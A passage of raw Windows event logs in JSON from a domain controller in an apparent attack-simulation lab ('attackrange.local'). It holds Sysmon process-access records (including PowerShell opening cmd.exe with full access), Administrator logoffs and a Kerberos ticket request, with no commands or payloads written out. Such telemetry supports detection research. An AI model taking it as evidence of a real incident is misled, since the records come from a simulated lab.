11:56:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5835,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:36.541\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:36.541","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5836,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:36.541\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:36.541","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5837,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:36.541\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:36.541","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5838,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:36.541\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:36.541","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5839,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:36.541\r\nSourceProcessGUID: {90617006-4173-5F2D-0000-0010ABA40800}\r\nSourceProcessId: 2512\r\nSourceThreadId: 5112\r\nSourceImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetProcessGUID: {90617006-4174-5F2D-0000-001061C90800}\r\nTargetProcessId: 5052\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1F3FFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3364bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3a5c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b42a7|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b452d|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3ed3|UNKNOWN(00007FF8EA792AD3)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:36.541","SourceProcessGUID":"{90617006-4173-5F2D-0000-0010ABA40800}","SourceProcessId":"2512","SourceThreadId":"5112","SourceImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetProcessGUID":"{90617006-4174-5F2D-0000-001061C90800}","TargetProcessId":"5052","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1f3fff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3364bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3a5c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b42a7|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b452d|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3ed3|UNKNOWN(00007FF8EA792AD3)","EventReceivedTime":"2020-08-07 11:56:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5840,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:36.541\r\nSourceProcessGUID: {90617006-4171-5F2D-0000-0010F97D0800}\r\nSourceProcessId: 3292\r\nSourceThreadId: 4700\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-4174-5F2D-0000-001061C90800}\r\nTargetProcessId: 5052\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:36.541","SourceProcessGUID":"{90617006-4171-5F2D-0000-0010F97D0800}","SourceProcessId":"3292","SourceThreadId":"4700","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-4174-5F2D-0000-001061C90800}","TargetProcessId":"5052","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5841,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:36.853\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 4052\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:36.853","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"4052","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":222217,"ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x882A9\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x882a9","LogonType":"3","EventReceivedTime":"2020-08-07 11:56:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":222218,"ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x898B3\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x898b3","LogonType":"3","EventReceivedTime":"2020-08-07 11:56:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":222219,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x89E0C\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x89e0c","LogonType":"3","EventReceivedTime":"2020-08-07 11:56:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4768,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14339,"OpcodeValue":0,"RecordNumber":222220,"ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"A Kerberos authentication ticket (TGT) was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tAdministrator\r\n\tSupplied Realm Name:\tATTACKRANGE\r\n\tUser ID:\t\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\r\nService Information:\r\n\tService Name:\t\tkrbtgt\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-502\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810010\r\n\tResult Code:\t\t0x0\r\n\tTicket Encryption Type:\t0x12\r\n\tPre-Authentication Type:\t2\r\n\r\nCertificate Information:\r\n\tCertificate Issuer Name:\t\t\r\n\tCertificate Serial Number:\t\r\n\tCertificate Thumbprint:\t\t\r\n\r\nCertificate information is only provided if a certificate was used for pre-authentication.\r\n\r\nPre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.","Category":"Kerberos Authentication Service","Opcode":"Info","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetSid":"S-1-5-21-2899776527-1222892863-2568484180-500","ServiceName":"krbtgt","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-502","TicketOptions":"0x40810010","Status":"0x0","TicketEncryptionType":"0x12","PreAuthType":"2","IpAddress":"::1","IpPort":"0","EventReceivedTime":"2020-08-07 11:56:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 